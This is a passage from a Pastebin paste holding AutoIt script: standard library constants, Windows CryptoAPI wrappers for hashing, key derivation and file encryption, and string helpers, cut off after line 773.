Advertisement
Guest User

FB

a guest
Jun 28th, 2016
783
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 250.87 KB | None | 0 0
  1. Global Const $fc_nooverwrite = 0
  2. Global Const $fc_overwrite = 1
  3. Global Const $fc_createpath = 8
  4. Global Const $ft_modified = 0
  5. Global Const $ft_created = 1
  6. Global Const $ft_accessed = 2
  7. Global Const $fo_read = 0
  8. Global Const $fo_append = 1
  9. Global Const $fo_overwrite = 2
  10. Global Const $fo_createpath = 8
  11. Global Const $fo_binary = 16
  12. Global Const $fo_unicode = 32
  13. Global Const $fo_utf16_le = 32
  14. Global Const $fo_utf16_be = 64
  15. Global Const $fo_utf8 = 128
  16. Global Const $fo_utf8_nobom = 256
  17. Global Const $fo_utf8_full = 16384
  18. Global Const $eof = -1
  19. Global Const $fd_filemustexist = 1
  20. Global Const $fd_pathmustexist = 2
  21. Global Const $fd_multiselect = 4
  22. Global Const $fd_promptcreatenew = 8
  23. Global Const $fd_promptoverwrite = 16
  24. Global Const $create_new = 1
  25. Global Const $create_always = 2
  26. Global Const $open_existing = 3
  27. Global Const $open_always = 4
  28. Global Const $truncate_existing = 5
  29. Global Const $invalid_set_file_pointer = -1
  30. Global Const $file_begin = 0
  31. Global Const $file_current = 1
  32. Global Const $file_end = 2
  33. Global Const $file_attribute_readonly = 1
  34. Global Const $file_attribute_hidden = 2
  35. Global Const $file_attribute_system = 4
  36. Global Const $file_attribute_directory = 16
  37. Global Const $file_attribute_archive = 32
  38. Global Const $file_attribute_device = 64
  39. Global Const $file_attribute_normal = 128
  40. Global Const $file_attribute_temporary = 256
  41. Global Const $file_attribute_sparse_file = 512
  42. Global Const $file_attribute_reparse_point = 1024
  43. Global Const $file_attribute_compressed = 2048
  44. Global Const $file_attribute_offline = 4096
  45. Global Const $file_attribute_not_content_indexed = 8192
  46. Global Const $file_attribute_encrypted = 16384
  47. Global Const $file_share_read = 1
  48. Global Const $file_share_write = 2
  49. Global Const $file_share_delete = 4
  50. Global Const $file_share_readwrite = BitOR($file_share_read, $file_share_write)
  51. Global Const $file_share_any = BitOR($file_share_read, $file_share_write, $file_share_delete)
  52. Global Const $generic_all = 268435456
  53. Global Const $generic_execute = 536870912
  54. Global Const $generic_write = 1073741824
  55. Global Const $generic_read = -2147483648
  56. Global Const $generic_readwrite = BitOR($generic_read, $generic_write)
  57. Global Const $frta_nocount = 0
  58. Global Const $frta_count = 1
  59. Global Const $frta_intarrays = 2
  60. Global Const $frta_entiresplit = 4
  61. Global Const $flta_filesfolders = 0
  62. Global Const $flta_files = 1
  63. Global Const $flta_folders = 2
  64. Global Const $fltar_filesfolders = 0
  65. Global Const $fltar_files = 1
  66. Global Const $fltar_folders = 2
  67. Global Const $fltar_nohidden = 4
  68. Global Const $fltar_nosystem = 8
  69. Global Const $fltar_nolink = 16
  70. Global Const $fltar_norecur = 0
  71. Global Const $fltar_recur = 1
  72. Global Const $fltar_nosort = 0
  73. Global Const $fltar_sort = 1
  74. Global Const $fltar_fastsort = 2
  75. Global Const $fltar_nopath = 0
  76. Global Const $fltar_relpath = 1
  77. Global Const $fltar_fullpath = 2
  78. Global Const $prov_rsa_full = 1
  79. Global Const $prov_rsa_aes = 24
  80. Global Const $crypt_verifycontext = -268435456
  81. Global Const $hp_hashsize = 4
  82. Global Const $hp_hashval = 2
  83. Global Const $crypt_exportable = 1
  84. Global Const $crypt_userdata = 1
  85. Global Const $calg_md2 = 32769
  86. Global Const $calg_md4 = 32770
  87. Global Const $calg_md5 = 32771
  88. Global Const $calg_sha1 = 32772
  89. Global Const $calg_3des = 26115
  90. Global Const $calg_aes_128 = 26126
  91. Global Const $calg_aes_192 = 26127
  92. Global Const $calg_aes_256 = 26128
  93. Global Const $calg_des = 26113
  94. Global Const $calg_rc2 = 26114
  95. Global Const $calg_rc4 = 26625
  96. Global Const $calg_userkey = 0
  97. Global $__g_acryptinternaldata[3]
  98.  
  99. Func _crypt_startup()
  100. If __crypt_refcount() = 0 Then
  101. Local $hadvapi32 = DllOpen("Advapi32.dll")
  102. If $hadvapi32 = -1 Then Return SetError(1, 0, False)
  103. __crypt_dllhandleset($hadvapi32)
  104. Local $iproviderid = $prov_rsa_aes
  105. Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext)
  106. If @error OR NOT $aret[0] Then
  107. Local $ierror = @error + 10, $iextended = @extended
  108. DllClose(__crypt_dllhandle())
  109. Return SetError($ierror, $iextended, False)
  110. Else
  111. __crypt_contextset($aret[1])
  112. EndIf
  113. EndIf
  114. __crypt_refcountinc()
  115. Return True
  116. EndFunc
  117.  
  118. Func _crypt_shutdown()
  119. __crypt_refcountdec()
  120. If __crypt_refcount() = 0 Then
  121. DllCall(__crypt_dllhandle(), "bool", "CryptReleaseContext", "handle", __crypt_context(), "dword", 0)
  122. DllClose(__crypt_dllhandle())
  123. EndIf
  124. EndFunc
  125.  
  126. Func _crypt_derivekey($vpassword, $ialg_id, $ihash_alg_id = $calg_md5)
  127. Local $aret = 0, $hbuff = 0, $hcrypthash = 0, $ierror = 0, $iextended = 0, $vreturn = 0
  128. _crypt_startup()
  129. Do
  130. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ihash_alg_id, "ptr", 0, "dword", 0, "handle*", 0)
  131. If @error OR NOT $aret[0] Then
  132. $ierror = @error + 10
  133. $iextended = @extended
  134. $vreturn = -1
  135. ExitLoop
  136. EndIf
  137. $hcrypthash = $aret[5]
  138. $hbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]")
  139. DllStructSetData($hbuff, 1, $vpassword)
  140. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
  141. If @error OR NOT $aret[0] Then
  142. $ierror = @error + 20
  143. $iextended = @extended
  144. $vreturn = -1
  145. ExitLoop
  146. EndIf
  147. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDeriveKey", "handle", __crypt_context(), "uint", $ialg_id, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0)
  148. If @error OR NOT $aret[0] Then
  149. $ierror = @error + 30
  150. $iextended = @extended
  151. $vreturn = -1
  152. ExitLoop
  153. EndIf
  154. $vreturn = $aret[5]
  155. Until True
  156. If $hcrypthash <> 0 Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
  157. Return SetError($ierror, $iextended, $vreturn)
  158. EndFunc
  159.  
  160. Func _crypt_destroykey($hcryptkey)
  161. Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDestroyKey", "handle", $hcryptkey)
  162. Local $ierror = @error, $iextended = @extended
  163. _crypt_shutdown()
  164. If $ierror OR NOT $aret[0] Then
  165. Return SetError($ierror + 10, $iextended, False)
  166. Else
  167. Return True
  168. EndIf
  169. EndFunc
  170.  
  171. Func _crypt_encryptdata($vdata, $vcryptkey, $ialg_id, $bfinal = True)
  172. Local $ireqbuffsize = 0, $aret = 0, $hbuff = 0, $ierror = 0, $iextended = 0, $vreturn = 0
  173. _crypt_startup()
  174. Do
  175. If $ialg_id <> $calg_userkey Then
  176. $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
  177. If @error Then
  178. $ierror = @error + 100
  179. $iextended = @extended
  180. $vreturn = -1
  181. ExitLoop
  182. EndIf
  183. EndIf
  184. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vdata), "dword", 0)
  185. If @error OR NOT $aret[0] Then
  186. $ierror = @error + 20
  187. $iextended = @extended
  188. $vreturn = -1
  189. ExitLoop
  190. EndIf
  191. $ireqbuffsize = $aret[6]
  192. $hbuff = DllStructCreate("byte[" & $ireqbuffsize & "]")
  193. DllStructSetData($hbuff, 1, $vdata)
  194. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata), "dword", DllStructGetSize($hbuff))
  195. If @error OR NOT $aret[0] Then
  196. $ierror = @error + 30
  197. $iextended = @extended
  198. $vreturn = -1
  199. ExitLoop
  200. EndIf
  201. $vreturn = DllStructGetData($hbuff, 1)
  202. Until True
  203. If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  204. _crypt_shutdown()
  205. Return SetError($ierror, $iextended, $vreturn)
  206. EndFunc
  207.  
  208. Func _crypt_decryptdata($vdata, $vcryptkey, $ialg_id, $bfinal = True)
  209. Local $aret = 0, $hbuff = 0, $htempstruct = 0, $ierror = 0, $iextended = 0, $iplaintextsize = 0, $vreturn = 0
  210. _crypt_startup()
  211. Do
  212. If $ialg_id <> $calg_userkey Then
  213. $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
  214. If @error Then
  215. $ierror = @error + 100
  216. $iextended = @extended
  217. $vreturn = -1
  218. ExitLoop
  219. EndIf
  220. EndIf
  221. $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]")
  222. DllStructSetData($hbuff, 1, $vdata)
  223. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata))
  224. If @error OR NOT $aret[0] Then
  225. $ierror = @error + 20
  226. $iextended = @extended
  227. $vreturn = -1
  228. ExitLoop
  229. EndIf
  230. $iplaintextsize = $aret[6]
  231. $htempstruct = DllStructCreate("byte[" & $iplaintextsize & "]", DllStructGetPtr($hbuff))
  232. $vreturn = DllStructGetData($htempstruct, 1)
  233. Until True
  234. If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  235. _crypt_shutdown()
  236. Return SetError($ierror, $iextended, $vreturn)
  237. EndFunc
  238.  
  239. Func _crypt_hashdata($vdata, $ialg_id, $bfinal = True, $hcrypthash = 0)
  240. Local $aret = 0, $hbuff = 0, $ierror = 0, $iextended = 0, $ihashsize = 0, $vreturn = 0
  241. _crypt_startup()
  242. Do
  243. If $hcrypthash = 0 Then
  244. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ialg_id, "ptr", 0, "dword", 0, "handle*", 0)
  245. If @error OR NOT $aret[0] Then
  246. $ierror = @error + 10
  247. $iextended = @extended
  248. $vreturn = -1
  249. ExitLoop
  250. EndIf
  251. $hcrypthash = $aret[5]
  252. EndIf
  253. $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) & "]")
  254. DllStructSetData($hbuff, 1, $vdata)
  255. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
  256. If @error OR NOT $aret[0] Then
  257. $ierror = @error + 20
  258. $iextended = @extended
  259. $vreturn = -1
  260. ExitLoop
  261. EndIf
  262. If $bfinal Then
  263. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashsize, "dword*", 0, "dword*", 4, "dword", 0)
  264. If @error OR NOT $aret[0] Then
  265. $ierror = @error + 30
  266. $iextended = @extended
  267. $vreturn = -1
  268. ExitLoop
  269. EndIf
  270. $ihashsize = $aret[3]
  271. $hbuff = DllStructCreate("byte[" & $ihashsize & "]")
  272. $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashval, "struct*", $hbuff, "dword*", DllStructGetSize($hbuff), "dword", 0)
  273. If @error OR NOT $aret[0] Then
  274. $ierror = @error + 40
  275. $iextended = @extended
  276. $vreturn = -1
  277. ExitLoop
  278. EndIf
  279. $vreturn = DllStructGetData($hbuff, 1)
  280. Else
  281. $vreturn = $hcrypthash
  282. EndIf
  283. Until True
  284. If $hcrypthash <> 0 AND $bfinal Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
  285. _crypt_shutdown()
  286. Return SetError($ierror, $iextended, $vreturn)
  287. EndFunc
  288.  
  289. Func _crypt_hashfile($sfile, $ialg_id)
  290. Local $btempdata = 0, $hfile = 0, $hhashobject = 0, $ierror = 0, $iextended = 0, $vreturn = 0
  291. _crypt_startup()
  292. Do
  293. $hfile = FileOpen($sfile, $fo_binary)
  294. If $hfile = -1 Then
  295. $ierror = 1
  296. $vreturn = -1
  297. ExitLoop
  298. EndIf
  299. Do
  300. $btempdata = FileRead($hfile, 512 * 1024)
  301. If @error Then
  302. $vreturn = _crypt_hashdata($btempdata, $ialg_id, True, $hhashobject)
  303. If @error Then
  304. $ierror = @error
  305. $iextended = @extended
  306. $vreturn = -1
  307. ExitLoop 2
  308. EndIf
  309. ExitLoop 2
  310. Else
  311. $hhashobject = _crypt_hashdata($btempdata, $ialg_id, False, $hhashobject)
  312. If @error Then
  313. $ierror = @error + 100
  314. $iextended = @extended
  315. $vreturn = -1
  316. ExitLoop 2
  317. EndIf
  318. EndIf
  319. Until False
  320. Until True
  321. _crypt_shutdown()
  322. If $hfile <> -1 Then FileClose($hfile)
  323. Return SetError($ierror, $iextended, $vreturn)
  324. EndFunc
  325.  
  326. Func _crypt_encryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
  327. Local $btempdata = 0, $hinfile = 0, $houtfile = 0, $ierror = 0, $iextended = 0, $ifilesize = FileGetSize($ssourcefile), $iread = 0, $breturn = True
  328. _crypt_startup()
  329. Do
  330. If $ialg_id <> $calg_userkey Then
  331. $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
  332. If @error Then
  333. $ierror = @error
  334. $iextended = @extended
  335. $breturn = False
  336. ExitLoop
  337. EndIf
  338. EndIf
  339. $hinfile = FileOpen($ssourcefile, $fo_binary)
  340. If @error Then
  341. $ierror = 2
  342. $breturn = False
  343. ExitLoop
  344. EndIf
  345. $houtfile = FileOpen($sdestinationfile, $fo_overwrite + $fo_createpath + $fo_binary)
  346. If @error Then
  347. $ierror = 3
  348. $breturn = False
  349. ExitLoop
  350. EndIf
  351. Do
  352. $btempdata = FileRead($hinfile, 1024 * 1024)
  353. $iread += BinaryLen($btempdata)
  354. If $iread = $ifilesize Then
  355. $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, True)
  356. If @error Then
  357. $ierror = @error + 400
  358. $iextended = @extended
  359. $breturn = False
  360. EndIf
  361. FileWrite($houtfile, $btempdata)
  362. ExitLoop 2
  363. Else
  364. $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, False)
  365. If @error Then
  366. $ierror = @error + 500
  367. $iextended = @extended
  368. $breturn = False
  369. ExitLoop 2
  370. EndIf
  371. FileWrite($houtfile, $btempdata)
  372. EndIf
  373. Until False
  374. Until True
  375. If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  376. _crypt_shutdown()
  377. If $hinfile <> -1 Then FileClose($hinfile)
  378. If $houtfile <> -1 Then FileClose($houtfile)
  379. Return SetError($ierror, $iextended, $breturn)
  380. EndFunc
  381.  
  382. Func _crypt_decryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialg_id)
  383. Local $btempdata = 0, $hinfile = 0, $houtfile = 0, $ierror = 0, $iextended = 0, $ifilesize = FileGetSize($ssourcefile), $iread = 0, $breturn = True
  384. _crypt_startup()
  385. Do
  386. If $ialg_id <> $calg_userkey Then
  387. $vcryptkey = _crypt_derivekey($vcryptkey, $ialg_id)
  388. If @error Then
  389. $ierror = @error
  390. $iextended = @extended
  391. $breturn = False
  392. ExitLoop
  393. EndIf
  394. EndIf
  395. $hinfile = FileOpen($ssourcefile, $fo_binary)
  396. If @error Then
  397. $ierror = 2
  398. $breturn = False
  399. ExitLoop
  400. EndIf
  401. $houtfile = FileOpen($sdestinationfile, $fo_overwrite + $fo_createpath + $fo_binary)
  402. If @error Then
  403. $ierror = 3
  404. $breturn = False
  405. ExitLoop
  406. EndIf
  407. Do
  408. $btempdata = FileRead($hinfile, 1024 * 1024)
  409. $iread += BinaryLen($btempdata)
  410. If $iread = $ifilesize Then
  411. $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, True)
  412. If @error Then
  413. $ierror = @error + 400
  414. $iextended = @extended
  415. $breturn = False
  416. EndIf
  417. FileWrite($houtfile, $btempdata)
  418. ExitLoop 2
  419. Else
  420. $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, False)
  421. If @error Then
  422. $ierror = @error + 500
  423. $iextended = @extended
  424. $breturn = False
  425. ExitLoop 2
  426. EndIf
  427. FileWrite($houtfile, $btempdata)
  428. EndIf
  429. Until False
  430. Until True
  431. If $ialg_id <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  432. _crypt_shutdown()
  433. If $hinfile <> -1 Then FileClose($hinfile)
  434. If $houtfile <> -1 Then FileClose($houtfile)
  435. Return SetError($ierror, $iextended, $breturn)
  436. EndFunc
  437.  
  438. Func _crypt_genrandom($pbuffer, $isize)
  439. _crypt_startup()
  440. Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGenRandom", "handle", __crypt_context(), "dword", $isize, "struct*", $pbuffer)
  441. Local $ierror = @error + 10, $iextended = @extended
  442. _crypt_shutdown()
  443. If $ierror OR (NOT $aret[0]) Then
  444. Return SetError($ierror, $iextended, False)
  445. Else
  446. Return True
  447. EndIf
  448. EndFunc
  449.  
  450. Func __crypt_refcount()
  451. Return $__g_acryptinternaldata[0]
  452. EndFunc
  453.  
  454. Func __crypt_refcountinc()
  455. $__g_acryptinternaldata[0] += 1
  456. EndFunc
  457.  
  458. Func __crypt_refcountdec()
  459. If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1
  460. EndFunc
  461.  
  462. Func __crypt_dllhandle()
  463. Return $__g_acryptinternaldata[1]
  464. EndFunc
  465.  
  466. Func __crypt_dllhandleset($hadvapi32)
  467. $__g_acryptinternaldata[1] = $hadvapi32
  468. EndFunc
  469.  
  470. Func __crypt_context()
  471. Return $__g_acryptinternaldata[2]
  472. EndFunc
  473.  
  474. Func __crypt_contextset($hcryptcontext)
  475. $__g_acryptinternaldata[2] = $hcryptcontext
  476. EndFunc
  477.  
  478. Global Const $str_nocasesense = 0
  479. Global Const $str_casesense = 1
  480. Global Const $str_nocasesensebasic = 2
  481. Global Const $str_stripleading = 1
  482. Global Const $str_striptrailing = 2
  483. Global Const $str_stripspaces = 4
  484. Global Const $str_stripall = 8
  485. Global Const $str_chrsplit = 0
  486. Global Const $str_entiresplit = 1
  487. Global Const $str_nocount = 2
  488. Global Const $str_regexpmatch = 0
  489. Global Const $str_regexparraymatch = 1
  490. Global Const $str_regexparrayfullmatch = 2
  491. Global Const $str_regexparrayglobalmatch = 3
  492. Global Const $str_regexparrayglobalfullmatch = 4
  493. Global Const $str_endisstart = 0
  494. Global Const $str_endnotstart = 1
  495.  
  496. Func _hextostring($shex)
  497. If NOT (StringLeft($shex, 2) == "0x") Then $shex = "0x" & $shex
  498. Return BinaryToString($shex)
  499. EndFunc
  500.  
  501. Func _stringbetween($sstring, $sstart, $send, $imode = $str_endisstart, $bcase = False)
  502. If $imode <> $str_endnotstart Then $imode = $str_endisstart
  503. If $bcase = Default Then
  504. $bcase = False
  505. EndIf
  506. Local $scase = $bcase ? "(?s)" : "(?is)"
  507. $sstart = $sstart ? "\Q" & $sstart & "\E" : "\A"
  508. If $imode = $str_endisstart Then
  509. $send = $send ? "(?=\Q" & $send & "\E)" : "\z"
  510. Else
  511. $send = $send ? "\Q" & $send & "\E" : "\z"
  512. EndIf
  513. Local $areturn = StringRegExp($sstring, $scase & $sstart & "(.*?)" & $send, $str_regexparrayglobalmatch)
  514. If @error Then Return SetError(1, 0, 0)
  515. Return $areturn
  516. EndFunc
  517.  
  518. Func _stringexplode($sstring, $sdelimiter, $ilimit = 0)
  519. Local Const $null = Chr(0)
  520. If $ilimit = Default Then $ilimit = 0
  521. If $ilimit > 0 Then
  522. $sstring = StringReplace($sstring, $sdelimiter, $null, $ilimit)
  523. $sdelimiter = $null
  524. ElseIf $ilimit < 0 Then
  525. Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit)
  526. If $iindex Then
  527. $sstring = StringLeft($sstring, $iindex - 1)
  528. EndIf
  529. EndIf
  530. Return StringSplit($sstring, $sdelimiter, $str_nocount)
  531. EndFunc
  532.  
  533. Func _stringinsert($sstring, $sinsertstring, $iposition)
  534. $iposition = Int($iposition)
  535. Local $ilength = StringLen($sstring)
  536. If Abs($iposition) > $ilength Then
  537. Return SetError(1, 0, $sstring)
  538. EndIf
  539. If NOT IsString($sinsertstring) Then $sinsertstring = String($sinsertstring)
  540. If NOT IsString($sstring) Then $sstring = String($sstring)
  541. $sinsertstring = StringReplace($sinsertstring, "\", "\\")
  542. If $iposition >= 0 Then
  543. Return StringRegExpReplace($sstring, "(?s)\A(.{" & $iposition & "})(.*)\z", "${1}" & $sinsertstring & "$2")
  544. Else
  545. Return StringRegExpReplace($sstring, "(?s)\A(.*)(.{" & -$iposition & "})\z", "${1}" & $sinsertstring & "$2")
  546. EndIf
  547. EndFunc
  548.  
  549. Func _stringproper($sstring)
  550. Local $bcapnext = True, $schr = "", $sreturn = ""
  551. For $i = 1 To StringLen($sstring)
  552. $schr = StringMid($sstring, $i, 1)
  553. Select
  554. Case $bcapnext = True
  555. If StringRegExp($schr, "[a-zA-ZÀ-ÿšœžŸ]") Then
  556. $schr = StringUpper($schr)
  557. $bcapnext = False
  558. EndIf
  559. Case NOT StringRegExp($schr, "[a-zA-ZÀ-ÿšœžŸ]")
  560. $bcapnext = True
  561. Case Else
  562. $schr = StringLower($schr)
  563. EndSelect
  564. $sreturn &= $schr
  565. Next
  566. Return $sreturn
  567. EndFunc
  568.  
  569. Func _stringrepeat($sstring, $irepeatcount)
  570. $irepeatcount = Int($irepeatcount)
  571. If StringLen($sstring) < 1 OR $irepeatcount < 0 Then Return SetError(1, 0, "")
  572. Local $sresult = ""
  573. While $irepeatcount > 1
  574. If BitAND($irepeatcount, 1) Then $sresult &= $sstring
  575. $sstring &= $sstring
  576. $irepeatcount = BitShift($irepeatcount, 1)
  577. WEnd
  578. Return $sstring & $sresult
  579. EndFunc
  580.  
  581. Func _stringtitlecase($sstring)
  582. Local $bcapnext = True, $schr = "", $sreturn = ""
  583. For $i = 1 To StringLen($sstring)
  584. $schr = StringMid($sstring, $i, 1)
  585. Select
  586. Case $bcapnext = True
  587. If StringRegExp($schr, "[a-zA-Z\xC0-\xFF0-9]") Then
  588. $schr = StringUpper($schr)
  589. $bcapnext = False
  590. EndIf
  591. Case NOT StringRegExp($schr, "[a-zA-Z\xC0-\xFF'0-9]")
  592. $bcapnext = True
  593. Case Else
  594. $schr = StringLower($schr)
  595. EndSelect
  596. $sreturn &= $schr
  597. Next
  598. Return $sreturn
  599. EndFunc
  600.  
  601. Func _stringtohex($sstring)
  602. Return Hex(StringToBinary($sstring))
  603. EndFunc
  604.  
  605. Global Const $opt_coordsrelative = 0
  606. Global Const $opt_coordsabsolute = 1
  607. Global Const $opt_coordsclient = 2
  608. Global Const $opt_errorsilent = 0
  609. Global Const $opt_errorfatal = 1
  610. Global Const $opt_capsnostore = 0
  611. Global Const $opt_capsstore = 1
  612. Global Const $opt_matchstart = 1
  613. Global Const $opt_matchany = 2
  614. Global Const $opt_matchexact = 3
  615. Global Const $opt_matchadvanced = 4
  616. Global Const $ccs_top = 1
  617. Global Const $ccs_nomovey = 2
  618. Global Const $ccs_bottom = 3
  619. Global Const $ccs_noresize = 4
  620. Global Const $ccs_noparentalign = 8
  621. Global Const $ccs_nohilite = 16
  622. Global Const $ccs_adjustable = 32
  623. Global Const $ccs_nodivider = 64
  624. Global Const $ccs_vert = 128
  625. Global Const $ccs_left = 129
  626. Global Const $ccs_nomovex = 130
  627. Global Const $ccs_right = 131
  628. Global Const $dt_drivetype = 1
  629. Global Const $dt_ssdstatus = 2
  630. Global Const $dt_bustype = 3
  631. Global Const $objid_window = 0
  632. Global Const $objid_titlebar = -2
  633. Global Const $objid_sizegrip = -7
  634. Global Const $objid_caret = -8
  635. Global Const $objid_cursor = -9
  636. Global Const $objid_alert = -10
  637. Global Const $objid_sound = -11
  638. Global Const $dlg_notitle = 1
  639. Global Const $dlg_notontop = 2
  640. Global Const $dlg_textleft = 4
  641. Global Const $dlg_textright = 8
  642. Global Const $dlg_moveable = 16
  643. Global Const $dlg_textvcenter = 32
  644. Global Const $idc_unknown = 0
  645. Global Const $idc_appstarting = 1
  646. Global Const $idc_arrow = 2
  647. Global Const $idc_cross = 3
  648. Global Const $idc_hand = 32649
  649. Global Const $idc_help = 4
  650. Global Const $idc_ibeam = 5
  651. Global Const $idc_icon = 6
  652. Global Const $idc_no = 7
  653. Global Const $idc_size = 8
  654. Global Const $idc_sizeall = 9
  655. Global Const $idc_sizenesw = 10
  656. Global Const $idc_sizens = 11
  657. Global Const $idc_sizenwse = 12
  658. Global Const $idc_sizewe = 13
  659. Global Const $idc_uparrow = 14
  660. Global Const $idc_wait = 15
  661. Global Const $idi_application = 32512
  662. Global Const $idi_asterisk = 32516
  663. Global Const $idi_exclamation = 32515
  664. Global Const $idi_hand = 32513
  665. Global Const $idi_question = 32514
  666. Global Const $idi_winlogo = 32517
  667. Global Const $idi_shield = 32518
  668. Global Const $idi_error = $idi_hand
  669. Global Const $idi_information = $idi_asterisk
  670. Global Const $idi_warning = $idi_exclamation
  671. Global Const $sd_logoff = 0
  672. Global Const $sd_shutdown = 1
  673. Global Const $sd_reboot = 2
  674. Global Const $sd_force = 4
  675. Global Const $sd_powerdown = 8
  676. Global Const $sd_forcehung = 16
  677. Global Const $sd_standby = 32
  678. Global Const $sd_hibernate = 64
  679. Global Const $stdin_child = 1
  680. Global Const $stdout_child = 2
  681. Global Const $stderr_child = 4
  682. Global Const $stderr_merged = 8
  683. Global Const $stdio_inherit_parent = 16
  684. Global Const $run_create_new_console = 65536
  685. Global Const $ubound_dimensions = 0
  686. Global Const $ubound_rows = 1
  687. Global Const $ubound_columns = 2
  688. Global Const $mouseeventf_absolute = 32768
  689. Global Const $mouseeventf_move = 1
  690. Global Const $mouseeventf_leftdown = 2
  691. Global Const $mouseeventf_leftup = 4
  692. Global Const $mouseeventf_rightdown = 8
  693. Global Const $mouseeventf_rightup = 16
  694. Global Const $mouseeventf_middledown = 32
  695. Global Const $mouseeventf_middleup = 64
  696. Global Const $mouseeventf_wheel = 2048
  697. Global Const $mouseeventf_xdown = 128
  698. Global Const $mouseeventf_xup = 256
  699. Global Const $reg_none = 0
  700. Global Const $reg_sz = 1
  701. Global Const $reg_expand_sz = 2
  702. Global Const $reg_binary = 3
  703. Global Const $reg_dword = 4
  704. Global Const $reg_dword_little_endian = 4
  705. Global Const $reg_dword_big_endian = 5
  706. Global Const $reg_link = 6
  707. Global Const $reg_multi_sz = 7
  708. Global Const $reg_resource_list = 8
  709. Global Const $reg_full_resource_descriptor = 9
  710. Global Const $reg_resource_requirements_list = 10
  711. Global Const $reg_qword = 11
  712. Global Const $reg_qword_little_endian = 11
  713. Global Const $hwnd_bottom = 1
  714. Global Const $hwnd_notopmost = -2
  715. Global Const $hwnd_top = 0
  716. Global Const $hwnd_topmost = -1
  717. Global Const $swp_nosize = 1
  718. Global Const $swp_nomove = 2
  719. Global Const $swp_nozorder = 4
  720. Global Const $swp_noredraw = 8
  721. Global Const $swp_noactivate = 16
  722. Global Const $swp_framechanged = 32
  723. Global Const $swp_drawframe = 32
  724. Global Const $swp_showwindow = 64
  725. Global Const $swp_hidewindow = 128
  726. Global Const $swp_nocopybits = 256
  727. Global Const $swp_noownerzorder = 512
  728. Global Const $swp_noreposition = 512
  729. Global Const $swp_nosendchanging = 1024
  730. Global Const $swp_defererase = 8192
  731. Global Const $swp_asyncwindowpos = 16384
  732. Global Const $keyword_default = 1
  733. Global Const $keyword_null = 2
  734. Global Const $mb_ok = 0
  735. Global Const $mb_okcancel = 1
  736. Global Const $mb_abortretryignore = 2
  737. Global Const $mb_yesnocancel = 3
  738. Global Const $mb_yesno = 4
  739. Global Const $mb_retrycancel = 5
  740. Global Const $mb_canceltrycontinue = 6
  741. Global Const $mb_help = 16384
  742. Global Const $mb_iconstop = 16
  743. Global Const $mb_iconerror = 16
  744. Global Const $mb_iconhand = 16
  745. Global Const $mb_iconquestion = 32
  746. Global Const $mb_iconexclamation = 48
  747. Global Const $mb_iconwarning = 48
  748. Global Const $mb_iconinformation = 64
  749. Global Const $mb_iconasterisk = 64
  750. Global Const $mb_usericon = 128
  751. Global Const $mb_defbutton1 = 0
  752. Global Const $mb_defbutton2 = 256
  753. Global Const $mb_defbutton3 = 512
  754. Global Const $mb_defbutton4 = 768
  755. Global Const $mb_applmodal = 0
  756. Global Const $mb_systemmodal = 4096
  757. Global Const $mb_taskmodal = 8192
  758. Global Const $mb_default_desktop_only = 131072
  759. Global Const $mb_right = 524288
  760. Global Const $mb_rtlreading = 1048576
  761. Global Const $mb_setforeground = 65536
  762. Global Const $mb_topmost = 262144
  763. Global Const $mb_service_notification = 2097152
  764. Global Const $mb_rightjustified = $mb_right
  765. Global Const $idtimeout = -1
  766. Global Const $idok = 1
  767. Global Const $idcancel = 2
  768. Global Const $idabort = 3
  769. Global Const $idretry = 4
  770. Global Const $idignore = 5
  771. Global Const $idyes = 6
  772. Global Const $idno = 7
  773. Global Const $idclose = 8
